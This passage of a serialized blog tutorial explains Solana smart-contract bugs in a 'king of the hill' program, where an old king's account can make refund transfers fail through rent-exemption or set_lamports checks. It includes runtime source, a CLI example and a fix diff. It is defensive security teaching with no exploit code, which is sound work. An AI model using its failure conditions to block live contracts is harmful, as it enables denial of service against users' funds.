23,"tag":139,"props":70409,"children":70410},{"style":305},[70411],{"type":28,"value":10061},{"type":23,"tag":139,"props":70413,"children":70414},{"style":259},[70415],{"type":28,"value":1268},{"type":23,"tag":139,"props":70417,"children":70418},{"class":141,"line":151},[70419,70424,70429],{"type":23,"tag":139,"props":70420,"children":70421},{"style":319},[70422],{"type":28,"value":70423},"        match",{"type":23,"tag":139,"props":70425,"children":70426},{"style":294},[70427],{"type":28,"value":70428}," post_rent_state",{"type":23,"tag":139,"props":70430,"children":70431},{"style":259},[70432],{"type":28,"value":1268},{"type":23,"tag":139,"props":70434,"children":70435},{"class":141,"line":160},[70436,70441,70445,70449,70453,70458,70462,70467,70471,70475],{"type":23,"tag":139,"props":70437,"children":70438},{"style":305},[70439],{"type":28,"value":70440},"            RentState",{"type":23,"tag":139,"props":70442,"children":70443},{"style":982},[70444],{"type":28,"value":1461},{"type":23,"tag":139,"props":70446,"children":70447},{"style":305},[70448],{"type":28,"value":70265},{"type":23,"tag":139,"props":70450,"children":70451},{"style":982},[70452],{"type":28,"value":2270},{"type":23,"tag":139,"props":70454,"children":70455},{"style":305},[70456],{"type":28,"value":70457}," RentState",{"type":23,"tag":139,"props":70459,"children":70460},{"style":982},[70461],{"type":28,"value":1461},{"type":23,"tag":139,"props":70463,"children":70464},{"style":305},[70465],{"type":28,"value":70466},"RentExempt",{"type":23,"tag":139,"props":70468,"children":70469},{"style":982},[70470],{"type":28,"value":25774},{"type":23,"tag":139,"props":70472,"children":70473},{"style":279},[70474],{"type":28,"value":10480},{"type":23,"tag":139,"props":70476,"children":70477},{"style":259},[70478],{"type":28,"value":1488},{"type":23,"tag":139,"props":70480,"children":70481},{"class":141,"line":169},[70482,70486,70490,70495],{"type":23,"tag":139,"props":70483,"children":70484},{"style":305},[70485],{"type":28,"value":70440},{"type":23,"tag":139,"props":70487,"children":70488},{"style":982},[70489],{"type":28,"value":1461},{"type":23,"tag":139,"props":70491,"children":70492},{"style":305},[70493],{"type":28,"value":70494},"RentPaying",{"type":23,"tag":139,"props":70496,"children":70497},{"style":259},[70498],{"type":28,"value":1268},{"type":23,"tag":139,"props":70500,"children":70501},{"class":141,"line":178},[70502,70507,70511,70516],{"type":23,"tag":139,"props":70503,"children":70504},{"style":294},[70505],{"type":28,"value":70506},"                data_size",{"type":23,"tag":139,"props":70508,"children":70509},{"style":982},[70510],{"type":28,"value":2493},{"type":23,"tag":139,"props":70512,"children":70513},{"style":294},[70514],{"type":28,"value":70515}," post_data_size",{"type":23,"tag":139,"props":70517,"children":70518},{"style":259},[70519],{"type":28,"value":1488},{"type":23,"tag":139,"props":70521,"children":70522},{"class":141,"line":187},[70523,70528,70532,70537],{"type":23,"tag":139,"props":70524,"children":70525},{"style":294},[70526],{"type":28,"value":70527},"                lamports",{"type":23,"tag":139,"props":70529,"children":70530},{"style":982},[70531],{"type":28,"value":2493},{"type":23,"tag":139,"props":70533,"children":70534},{"style":294},[70535],{"type":28,"value":70536}," post_lamports",{"type":23,"tag":139,"props":70538,"children":70539},{"style":259},[70540],{"type":28,"value":1488},{"type":23,"tag":139,"props":70542,"children":70543},{"class":141,"line":196},[70544,70548,70552],{"type":23,"tag":139,"props":70545,"children":70546},{"style":259},[70547],{"type":28,"value":68496},{"type":23,"tag":139,"props":70549,"children":70550},{"style":982},[70551],{"type":28,"value":12833},{"type":23,"tag":139,"props":70553,"children":70554},{"style":259},[70555],{"type":28,"value":1268},{"type":23,"tag":139,"props":70557,"children":70558},{"class":141,"line":205},[70559,70564,70569],{"type":23,"tag":139,"props":70560,"children":70561},{"style":319},[70562],{"type":28,"value":70563},"                match",{"type":23,"tag":139,"props":70565,"children":70566},{"style":294},[70567],{"type":28,"value":70568}," pre_rent_state",{"type":23,"tag":139,"props":70570,"children":70571},{"style":259},[70572],{"type":28,"value":1268},{"type":23,"tag":139,"props":70574,"children":70575},{"class":141,"line":214},[70576,70581,70585,70589,70593,70597,70601,70605,70609,70613],{"type":23,"tag":139,"props":70577,"children":70578},{"style":305},[70579],{"type":28,"value":70580},"                    RentState",{"type":23,"tag":139,"props":70582,"children":70583},{"style":982},[70584],{"type":28,"value":1461},{"type":23,"tag":139,"props":70586,"children":70587},{"style":305},[70588],{"type":28,"value":70265},{"type":23,"tag":139,"props":70590,"children":70591},{"style":982},[70592],{"type":28,"value":2270},{"type":23,"tag":139,"props":70594,"children":70595},{"style":305},[70596],{"type":28,"value":70457},{"type":23,"tag":139,"props":70598,"children":70599},{"style":982},[70600],{"type":28,"value":1461},{"type":23,"tag":139,"props":70602,"children":70603},{"style":305},[70604],{"type":28,"value":70466},{"type":23,"tag":139,"props":70606,"children":70607},{"style":982},[70608],{"type":28,"value":25774},{"type":23,"tag":139,"props":70610,"children":70611},{"style":279},[70612],{"type":28,"value":7064},{"type":23,"tag":139,"props":70614,"children":70615},{"style":259},[70616],{"type":28,"value":1488},{"type":23,"tag":139,"props":70618,"children":70619},{"class":141,"line":1320},[70620,70624,70628,70632],{"type":23,"tag":139,"props":70621,"children":70622},{"style":305},[70623],{"type":28,"value":70580},{"type":23,"tag":139,"props":70625,"children":70626},{"style":982},[70627],{"type":28,"value":1461},{"type":23,"tag":139,"props":70629,"children":70630},{"style":305},[70631],{"type":28,"value":70494},{"type":23,"tag":139,"props":70633,"children":70634},{"style":259},[70635],{"type":28,"value":1268},{"type":23,"tag":139,"props":70637,"children":70638},{"class":141,"line":1329},[70639,70644,70648,70653],{"type":23,"tag":139,"props":70640,"children":70641},{"style":294},[70642],{"type":28,"value":70643},"                        data_size",{"type":23,"tag":139,"props":70645,"children":70646},{"style":982},[70647],{"type":28,"value":2493},{"type":23,"tag":139,"props":70649,"children":70650},{"style":294},[70651],{"type":28,"value":70652}," pre_data_size",{"type":23,"tag":139,"props":70654,"children":70655},{"style":259},[70656],{"type":28,"value":1488},{"type":23,"tag":139,"props":70658,"children":70659},{"class":141,"line":1580},[70660,70665,70669,70674],{"type":23,"tag":139,"props":70661,"children":70662},{"style":294},[70663],{"type":28,"value":70664},"                        lamports",{"type":23,"tag":139,"props":70666,"children":70667},{"style":982},[70668],{"type":28,"value":2493},{"type":23,"tag":139,"props":70670,"children":70671},{"style":294},[70672],{"type":28,"value":70673}," pre_lamports",{"type":23,"tag":139,"props":70675,"children":70676},{"style":259},[70677],{"type":28,"value":1488},{"type":23,"tag":139,"props":70679,"children":70680},{"class":141,"line":1597},[70681,70686,70690],{"type":23,"tag":139,"props":70682,"children":70683},{"style":259},[70684],{"type":28,"value":70685},"                    } ",{"type":23,"tag":139,"props":70687,"children":70688},{"style":982},[70689],{"type":28,"value":12833},{"type":23,"tag":139,"props":70691,"children":70692},{"style":259},[70693],{"type":28,"value":1268},{"type":23,"tag":139,"props":70695,"children":70696},{"class":141,"line":1614},[70697],{"type":23,"tag":139,"props":70698,"children":70699},{"style":958},[70700],{"type":28,"value":70701},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":139,"props":70703,"children":70704},{"class":141,"line":1627},[70705,70710,70714,70718,70722,70726,70730],{"type":23,"tag":139,"props":70706,"children":70707},{"style":294},[70708],{"type":28,"value":70709},"                        post_data_size",{"type":23,"tag":139,"props":70711,"children":70712},{"style":982},[70713],{"type":28,"value":1259},{"type":23,"tag":139,"props":70715,"children":70716},{"style":294},[70717],{"type":28,"value":70652},{"type":23,"tag":139,"props":70719,"children":70720},{"style":982},[70721],{"type":28,"value":12196},{"type":23,"tag":139,"props":70723,"children":70724},{"style":294},[70725],{"type":28,"value":70536},{"type":23,"tag":139,"props":70727,"children":70728},{"style":982},[70729],{"type":28,"value":6201},{"type":23,"tag":139,"props":70731,"children":70732},{"style":294},[70733],{"type":28,"value":70734}," pre_lamports\n",{"type":23,"tag":139,"props":70736,"children":70737},{"class":141,"line":1636},[70738],{"type":23,"tag":139,"props":70739,"children":70740},{"style":259},[70741],{"type":28,"value":68965},{"type":23,"tag":139,"props":70743,"children":70744},{"class":141,"line":1659},[70745],{"type":23,"tag":139,"props":70746,"children":70747},{"style":259},[70748],{"type":28,"value":68973},{"type":23,"tag":139,"props":70750,"children":70751},{"class":141,"line":1667},[70752],{"type":23,"tag":139,"props":70753,"children":70754},{"style":259},[70755],{"type":28,"value":56784},{"type":23,"tag":139,"props":70757,"children":70758},{"class":141,"line":1676},[70759],{"type":23,"tag":139,"props":70760,"children":70761},{"style":259},[70762],{"type":28,"value":1326},{"type":23,"tag":139,"props":70764,"children":70765},{"class":141,"line":1745},[70766],{"type":23,"tag":139,"props":70767,"children":70768},{"style":259},[70769],{"type":28,"value":1335},{"type":23,"tag":24,"props":70771,"children":70772},{},[70773],{"type":28,"value":70774},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":128,"props":70776,"children":70778},{"className":2244,"code":70777,"language":2243,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[70779],{"type":23,"tag":135,"props":70780,"children":70781},{"__ignoreMap":7},[70782,70798],{"type":23,"tag":139,"props":70783,"children":70784},{"class":141,"line":142},[70785,70789,70794],{"type":23,"tag":139,"props":70786,"children":70787},{"style":245},[70788],{"type":28,"value":848},{"type":23,"tag":139,"props":70790,"children":70791},{"style":265},[70792],{"type":28,"value":70793}," rent",{"type":23,"tag":139,"props":70795,"children":70796},{"style":1016},[70797],{"type":28,"value":22299},{"type":23,"tag":139,"props":70799,"children":70800},{"class":141,"line":151},[70801,70806,70811,70816],{"type":23,"tag":139,"props":70802,"children":70803},{"style":245},[70804],{"type":28,"value":70805},"Rent-exempt",{"type":23,"tag":139,"props":70807,"children":70808},{"style":265},[70809],{"type":28,"value":70810}," minimum:",{"type":23,"tag":139,"props":70812,"children":70813},{"style":1016},[70814],{"type":28,"value":70815}," 0.00089088",{"type":23,"tag":139,"props":70817,"children":70818},{"style":265},[70819],{"type":28,"value":70820}," SOL\n",{"type":23,"tag":16900,"props":70822,"children":70824},{"id":70823},"fix-1-only-reimburse-if-rent-exempt",[70825],{"type":28,"value":70826},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":24,"props":70828,"children":70829},{},[70830],{"type":28,"value":70831},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":128,"props":70833,"children":70835},{"className":38251,"code":70834,"language":38253,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[70836],{"type":23,"tag":135,"props":70837,"children":70838},{"__ignoreMap":7},[70839,70847,70855,70863,70871,70879,70887,70895,70903,70911],{"type":23,"tag":139,"props":70840,"children":70841},{"class":141,"line":142},[70842],{"type":23,"tag":139,"props":70843,"children":70844},{"style":259},[70845],{"type":28,"value":70846},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":139,"props":70848,"children":70849},{"class":141,"line":151},[70850],{"type":23,"tag":139,"props":70851,"children":70852},{"style":1016},[70853],{"type":28,"value":70854},"+let rent = Rent::get()?;\n",{"type":23,"tag":139,"props":70856,"children":70857},{"class":141,"line":160},[70858],{"type":23,"tag":139,"props":70859,"children":70860},{"style":1016},[70861],{"type":28,"value":70862},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":139,"props":70864,"children":70865},{"class":141,"line":169},[70866],{"type":23,"tag":139,"props":70867,"children":70868},{"style":1016},[70869],{"type":28,"value":70870},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":139,"props":70872,"children":70873},{"class":141,"line":178},[70874],{"type":23,"tag":139,"props":70875,"children":70876},{"style":259},[70877],{"type":28,"value":70878},"    transfer_from_pda(\n",{"type":23,"tag":139,"props":70880,"children":70881},{"class":141,"line":187},[70882],{"type":23,"tag":139,"props":70883,"children":70884},{"style":259},[70885],{"type":28,"value":70886},"        &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":139,"props":70888,"children":70889},{"class":141,"line":196},[70890],{"type":23,"tag":139,"props":70891,"children":70892},{"style":259},[70893],{"type":28,"value":70894},"        &ctx.accounts.old_king,\n",{"type":23,"tag":139,"props":70896,"children":70897},{"class":141,"line":205},[70898],{"type":23,"tag":139,"props":70899,"children":70900},{"style":259},[70901],{"type":28,"value":70902},"        to_reimburse,\n",{"type":23,"tag":139,"props":70904,"children":70905},{"class":141,"line":214},[70906],{"type":23,"tag":139,"props":70907,"children":70908},{"style":259},[70909],{"type":28,"value":70910},"    )?;\n",{"type":23,"tag":139,"props":70912,"children":70913},{"class":141,"line":1320},[70914],{"type":23,"tag":139,"props":70915,"children":70916},{"style":1016},[70917],{"type":28,"value":70918},"+}\n",{"type":23,"tag":24,"props":70920,"children":70921},{},[70922],{"type":28,"value":70923},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":666,"props":70925,"children":70927},{"id":70926},"bug-2-writable-but-untouchable-set_lamports-fails",[70928,70930,70936],{"type":28,"value":70929},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":135,"props":70931,"children":70933},{"className":70932},[],[70934],{"type":28,"value":70935},"set_lamports",{"type":28,"value":70937}," Fails",{"type":23,"tag":24,"props":70939,"children":70940},{},[70941,70943,70950],{"type":28,"value":70942},"Let's look at ",{"type":23,"tag":64,"props":70944,"children":70947},{"href":70945,"rel":70946},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[68],[70948],{"type":28,"value":70949},"BorrowedAccount::set_lamports",{"type":28,"value":73},{"type":23,"tag":128,"props":70952,"children":70954},{"className":948,"code":70953,"language":947,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[70955],{"type":23,"tag":135,"props":70956,"children":70957},{"__ignoreMap":7},[70958,70966,70987,71059,71067,71126,71158,71165,71173,71201,71233,71240,71248,71272,71304,71311,71319,71354,71370,71377,71405,71440,71451,71458,71465,71473,71492,71500,71540,71552,71564,71576,71607],{"type":23,"tag":139,"props":70959,"children":70960},{"class":141,"line":142},[70961],{"type":23,"tag":139,"props":70962,"children":70963},{"style":958},[70964],{"type":28,"value":70965},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":139,"props":70967,"children":70968},{"class":141,"line":151},[70969,70974,70978,70983],{"type":23,"tag":139,"props":70970,"children":70971},{"style":259},[70972],{"type":28,"value":70973},"#[cfg(not(target_os ",{"type":23,"tag":139,"props":70975,"children":70976},{"style":982},[70977],{"type":28,"value":1067},{"type":23,"tag":139,"props":70979,"children":70980},{"style":265},[70981],{"type":28,"value":70982}," \"solana\"",{"type":23,"tag":139,"props":70984,"children":70985},{"style":259},[70986],{"type":28,"value":18616},{"type":23,"tag":139,"props":70988,"children":70989},{"class":141,"line":160},[70990,70994,70998,71003,71007,71011,71015,71019,71023,71027,71031,71035,71039,71043,71047,71051,71055],{"type":23,"tag":139,"props":70991,"children":70992},{"style":279},[70993],{"type":28,"value":11701},{"type":23,"tag":139,"props":70995,"children":70996},{"style":279},[70997],{"type":28,"value":11706},{"type":23,"tag":139,"props":70999,"children":71000},{"style":245},[71001],{"type":28,"value":71002}," set_lamports",{"type":23,"tag":139,"props":71004,"children":71005},{"style":259},[71006],{"type":28,"value":262},{"type":23,"tag":139,"props":71008,"children":71009},{"style":982},[71010],{"type":28,"value":1085},{"type":23,"tag":139,"props":71012,"children":71013},{"style":279},[71014],{"type":28,"value":1713},{"type":23,"tag":139,"props":71016,"children":71017},{"style":279},[71018],{"type":28,"value":11808},{"type":23,"tag":139,"props":71020,"children":71021},{"style":259},[71022],{"type":28,"value":1052},{"type":23,"tag":139,"props":71024,"children":71025},{"style":294},[71026],{"type":28,"value":13522},{"type":23,"tag":139,"props":71028,"children":71029},{"style":982},[71030],{"type":28,"value":2493},{"type":23,"tag":139,"props":71032,"children":71033},{"style":305},[71034],{"type":28,"value":3862},{"type":23,"tag":139,"props":71036,"children":71037},{"style":259},[71038],{"type":28,"value":1062},{"type":23,"tag":139,"props":71040,"children":71041},{"style":982},[71042],{"type":28,"value":11768},{"type":23,"tag":139,"props":71044,"children":71045},{"style":305},[71046],{"type":28,"value":11773},{"type":23,"tag":139,"props":71048,"children":71049},{"style":259},[71050],{"type":28,"value":11778},{"type":23,"tag":139,"props":71052,"children":71053},{"style":305},[71054],{"type":28,"value":13769},{"type":23,"tag":139,"props":71056,"children":71057},{"style":259},[71058],{"type":28,"value":5284},{"type":23,"tag":139,"props":71060,"children":71061},{"class":141,"line":169},[71062],{"type":23,"tag":139,"props":71063,"children":71064},{"style":958},[71065],{"type":28,"value":71066},"    // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":139,"props":71068,"children":71069},{"class":141,"line":178},[71070,71074,71078,71082,71086,71091,71095,71100,71105,71109,71113,71117,71122],{"type":23,"tag":139,"props":71071,"children":71072},{"style":319},[71073],{"type":28,"value":10290},{"type":23,"tag":139,"props":71075,"children":71076},{"style":982},[71077],{"type":28,"value":10875},{"type":23,"tag":139,"props":71079,"children":71080},{"style":279},[71081],{"type":28,"value":11724},{"type":23,"tag":139,"props":71083,"children":71084},{"style":982},[71085],{"type":28,"value":73},{"type":23,"tag":139,"props":71087,"children":71088},{"style":245},[71089],{"type":28,"value":71090},"is_owned_by_current_program",{"type":23,"tag":139,"props":71092,"children":71093},{"style":259},[71094],{"type":28,"value":12054},{"type":23,"tag":139,"props":71096,"children":71097},{"style":982},[71098],{"type":28,"value":71099},"&&",{"type":23,"tag":139,"props":71101,"children":71102},{"style":294},[71103],{"type":28,"value":71104}," lamports",{"type":23,"tag":139,"props":71106,"children":71107},{"style":982},[71108],{"type":28,"value":6724},{"type":23,"tag":139,"props":71110,"children":71111},{"style":279},[71112],{"type":28,"value":11808},{"type":23,"tag":139,"props":71114,"children":71115},{"style":982},[71116],{"type":28,"value":73},{"type":23,"tag":139,"props":71118,"children":71119},{"style":245},[71120],{"type":28,"value":71121},"get_lamports",{"type":23,"tag":139,"props":71123,"children":71124},{"style":259},[71125],{"type":28,"value":13747},{"type":23,"tag":139,"props":71127,"children":71128},{"class":141,"line":187},[71129,71133,71137,71141,71145,71149,71154],{"type":23,"tag":139,"props":71130,"children":71131},{"style":319},[71132],{"type":28,"value":13755},{"type":23,"tag":139,"props":71134,"children":71135},{"style":305},[71136],{"type":28,"value":13760},{"type":23,"tag":139,"props":71138,"children":71139},{"style":259},[71140],{"type":28,"value":262},{"type":23,"tag":139,"props":71142,"children":71143},{"style":305},[71144],{"type":28,"value":13769},{"type":23,"tag":139,"props":71146,"children":71147},{"style":982},[71148],{"type":28,"value":1461},{"type":23,"tag":139,"props":71150,"children":71151},{"style":305},[71152],{"type":28,"value":71153},"ExternalAccountLamportSpend",{"type":23,"tag":139,"props":71155,"children":71156},{"style":259},[71157],{"type":28,"value":1820},{"type":23,"tag":139,"props":71159,"children":71160},{"class":141,"line":196},[71161],{"type":23,"tag":139,"props":71162,"children":71163},{"style":259},[71164],{"type":28,"value":1335},{"type":23,"tag":139,"props":71166,"children":71167},{"class":141,"line":205},[71168],{"type":23,"tag":139,"props":71169,"children":71170},{"style":958},[71171],{"type":28,"value":71172},"    // The balance of read-only may not change\n",{"type":23,"tag":139,"props":71174,"children":71175},{"class":141,"line":214},[71176,71180,71184,71188,71192,71197],{"type":23,"tag":139,"props":71177,"children":71178},{"style":319},[71179],{"type":28,"value":10290},{"type":23,"tag":139,"props":71181,"children":71182},{"style":982},[71183],{"type":28,"value":10875},{"type":23,"tag":139,"props":71185,"children":71186},{"style":279},[71187],{"type":28,"value":11724},{"type":23,"tag":139,"props":71189,"children":71190},{"style":982},[71191],{"type":28,"value":73},{"type":23,"tag":139,"props":71193,"children":71194},{"style":245},[71195],{"type":28,"value":71196},"is_writable",{"type":23,"tag":139,"props":71198,"children":71199},{"style":259},[71200],{"type":28,"value":13747},{"type":23,"tag":139,"props":71202,"children":71203},{"class":141,"line":1320},[71204,71208,71212,71216,71220,71224,71229],{"type":23,"tag":139,"props":71205,"children":71206},{"style":319},[71207],{"type":28,"value":13755},{"type":23,"tag":139,"props":71209,"children":71210},{"style":305},[71211],{"type":28,"value":13760},{"type":23,"tag":139,"props":71213,"children":71214},{"style":259},[71215],{"type":28,"value":262},{"type":23,"tag":139,"props":71217,"children":71218},{"style":305},[71219],{"type":28,"value":13769},{"type":23,"tag":139,"props":71221,"children":71222},{"style":982},[71223],{"type":28,"value":1461},{"type":23,"tag":139,"props":71225,"children":71226},{"style":305},[71227],{"type":28,"value":71228},"ReadonlyLamportChange",{"type":23,"tag":139,"props":71230,"children":71231},{"style":259},[71232],{"type":28,"value":1820},{"type":23,"tag":139,"props":71234,"children":71235},{"class":141,"line":1329},[71236],{"type":23,"tag":139,"props":71237,"children":71238},{"style":259},[71239],{"type":28,"value":1335},{"type":23,"tag":139,"props":71241,"children":71242},{"class":141,"line":1580},[71243],{"type":23,"tag":139,"props":71244,"children":71245},{"style":958},[71246],{"type":28,"value":71247},"    // The balance of executable accounts may not change\n",{"type":23,"tag":139,"props":71249,"children":71250},{"class":141,"line":1597},[71251,71255,71259,71263,71268],{"type":23,"tag":139,"props":71252,"children":71253},{"style":319},[71254],{"type":28,"value":10290},{"type":23,"tag":139,"props":71256,"children":71257},{"style":279},[71258],{"type":28,"value":11808},{"type":23,"tag":139,"props":71260,"children":71261},{"style":982},[71262],{"type":28,"value":73},{"type":23,"tag":139,"props":71264,"children":71265},{"style":245},[71266],{"type":28,"value":71267},"is_executable_internal",{"type":23,"tag":139,"props":71269,"children":71270},{"style":259},[71271],{"type":28,"value":13747},{"type":23,"tag":139,"props":71273,"children":71274},{"class":141,"line":1614},[71275,71279,71283,71287,71291,71295,71300],{"type":23,"tag":139,"props":71276,"children":71277},{"style":319},[71278],{"type":28,"value":13755},{"type":23,"tag":139,"props":71280,"children":71281},{"style":305},[71282],{"type":28,"value":13760},{"type":23,"tag":139,"props":71284,"children":71285},{"style":259},[71286],{"type":28,"value":262},{"type":23,"tag":139,"props":71288,"children":71289},{"style":305},[71290],{"type":28,"value":13769},{"type":23,"tag":139,"props":71292,"children":71293},{"style":982},[71294],{"type":28,"value":1461},{"type":23,"tag":139,"props":71296,"children":71297},{"style":305},[71298],{"type":28,"value":71299},"ExecutableLamportChange",{"type":23,"tag":139,"props":71301,"children":71302},{"style":259},[71303],{"type":28,"value":1820},{"type":23,"tag":139,"props":71305,"children":71306},{"class":141,"line":1627},[71307],{"type":23,"tag":139,"props":71308,"children":71309},{"style":259},[71310],{"type":28,"value":1335},{"type":23,"tag":139,"props":71312,"children":71313},{"class":141,"line":1636},[71314],{"type":23,"tag":139,"props":71315,"children":71316},{"style":958},[71317],{"type":28,"value":71318},"    // don't touch the account if the lamports do not change\n",{"type":23,"tag":139,"props":71320,"children":71321},{"class":141,"line":1659},[71322,71326,71330,71334,71338,71342,71346,71350],{"type":23,"tag":139,"props":71323,"children":71324},{"style":319},[71325],{"type":28,"value":10290},{"type":23,"tag":139,"props":71327,"children":71328},{"style":279},[71329],{"type":28,"value":11808},{"type":23,"tag":139,"props":71331,"children":71332},{"style":982},[71333],{"type":28,"value":73},{"type":23,"tag":139,"props":71335,"children":71336},{"style":245},[71337],{"type":28,"value":71121},{"type":23,"tag":139,"props":71339,"children":71340},{"style":259},[71341],{"type":28,"value":12054},{"type":23,"tag":139,"props":71343,"children":71344},{"style":982},[71345],{"type":28,"value":6580},{"type":23,"tag":139,"props":71347,"children":71348},{"style":294},[71349],{"type":28,"value":71104},{"type":23,"tag":139,"props":71351,"children":71352},{"style":259},[71353],{"type":28,"value":1268},{"type":23,"tag":139,"props":71355,"children":71356},{"class":141,"line":1667},[71357,71361,71365],{"type":23,"tag":139,"props":71358,"children":71359},{"style":319},[71360],{"type":28,"value":13755},{"type":23,"tag":139,"props":71362,"children":71363},{"style":305},[71364],{"type":28,"value":40829},{"type":23,"tag":139,"props":71366,"children":71367},{"style":259},[71368],{"type":28,"value":71369},"(());\n",{"type":23,"tag":139,"props":71371,"children":71372},{"class":141,"line":1676},[71373],{"type":23,"tag":139,"props":71374,"children":71375},{"style":259},[71376],{"type":28,"value":1335},{"type":23,"tag":139,"props":71378,"children":71379},{"class":141,"line":1745},[71380,71384,71388,71393,71397,71401],{"type":23,"tag":139,"props":71381,"children":71382},{"style":279},[71383],{"type":28,"value":18794},{"type":23,"tag":139,"props":71385,"children":71386},{"style":982},[71387],{"type":28,"value":73},{"type":23,"tag":139,"props":71389,"children":71390},{"style":245},[71391],{"type":28,"value":71392},"touch",{"type":23,"tag":139,"props":71394,"children":71395},{"style":259},[71396],{"type":28,"value":11890},{"type":23,"tag":139,"props":71398,"children":71399},{"style":982},[71400],{"type":28,"value":1132},{"type":23,"tag":139,"props":71402,"children":71403},{"style":259},[71404],{"type":28,"value":995},{"type":23,"tag":139,"props":71406,"children":71407},{"class":141,"line":1753},[71408,71412,71416,71420,71424,71428,71432,71436],{"type":23,"tag":139,"props":71409,"children":71410},{"style":279},[71411],{"type":28,"value":18794},{"type":23,"tag":139,"props":71413,"children":71414},{"style":982},[71415],{"type":28,"value":73},{"type":23,"tag":139,"props":71417,"children":71418},{"style":259},[71419],{"type":28,"value":10964},{"type":23,"tag":139,"props":71421,"children":71422},{"style":982},[71423],{"type":28,"value":73},{"type":23,"tag":139,"props":71425,"children":71426},{"style":245},[71427],{"type":28,"value":70935},{"type":23,"tag":139,"props":71429,"children":71430},{"style":259},[71431],{"type":28,"value":262},{"type":23,"tag":139,"props":71433,"children":71434},{"style":294},[71435],{"type":28,"value":13522},{"type":23,"tag":139,"props":71437,"children":71438},{"style":259},[71439],{"type":28,"value":1820},{"type":23,"tag":139,"props":71441,"children":71442},{"class":141,"line":1783},[71443,71447],{"type":23,"tag":139,"props":71444,"children":71445},{"style":305},[71446],{"type":28,"value":12344},{"type":23,"tag":139,"props":71448,"children":71449},{"style":259},[71450],{"type":28,"value":12349},{"type":23,"tag":139,"props":71452,"children":71453},{"class":141,"line":1791},[71454],{"type":23,"tag":139,"props":71455,"children":71456},{"style":259},[71457],{"type":28,"value":1897},{"type":23,"tag":139,"props":71459,"children":71460},{"class":141,"line":1823},[71461],{"type":23,"tag":139,"props":71462,"children":71463},{"emptyLinePlaceholder":15},[71464],{"type":28,"value":184},{"type":23,"tag":139,"props":71466,"children":71467},{"class":141,"line":1831},[71468],{"type":23,"tag":139,"props":71469,"children":71470},{"style":958},[71471],{"type":28,"value":71472},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":139,"props":71474,"children":71475},{"class":141,"line":1891},[71476,71480,71484,71488],{"type":23,"tag":139,"props":71477,"children":71478},{"style":259},[71479],{"type":28,"value":70973},{"type":23,"tag":139,"props":71481,"children":71482},{"style":982},[71483],{"type":28,"value":1067},{"type":23,"tag":139,"props":71485,"children":71486},{"style":265},[71487],{"type":28,"value":70982},{"type":23,"tag":139,"props":71489,"children":71490},{"style":259},[71491],{"type":28,"value":18616},{"type":23,"tag":139,"props":71493,"children":71494},{"class":141,"line":7053},[71495],{"type":23,"tag":139,"props":71496,"children":71497},{"style":259},[71498],{"type":28,"value":71499},"#[inline]\n",{"type":23,"tag":139,"props":71501,"children":71502},{"class":141,"line":7071},[71503,71507,71512,71516,71520,71524,71528,71532,71536],{"type":23,"tag":139,"props":71504,"children":71505},{"style":279},[71506],{"type":28,"value":18274},{"type":23,"tag":139,"props":71508,"children":71509},{"style":245},[71510],{"type":28,"value":71511}," is_executable_internal",{"type":23,"tag":139,"props":71513,"children":71514},{"style":259},[71515],{"type":28,"value":262},{"type":23,"tag":139,"props":71517,"children":71518},{"style":982},[71519],{"type":28,"value":1085},{"type":23,"tag":139,"props":71521,"children":71522},{"style":279},[71523],{"type":28,"value":11724},{"type":23,"tag":139,"props":71525,"children":71526},{"style":259},[71527],{"type":28,"value":1062},{"type":23,"tag":139,"props":71529,"children":71530},{"style":982},[71531],{"type":28,"value":11768},{"type":23,"tag":139,"props":71533,"children":71534},{"style":305},[71535],{"type":28,"value":10061},{"type":23,"tag":139,"props":71537,"children":71538},{"style":259},[71539],{"type":28,"value":1268},{"type":23,"tag":139,"props":71541,"children":71542},{"class":141,"line":7116},[71543,71547],{"type":23,"tag":139,"props":71544,"children":71545},{"style":982},[71546],{"type":28,"value":18978},{"type":23,"tag":139,"props":71548,"children":71549},{"style":279},[71550],{"type":28,"value":71551},"self\n",{"type":23,"tag":139,"props":71553,"children":71554},{"class":141,"line":7222},[71555,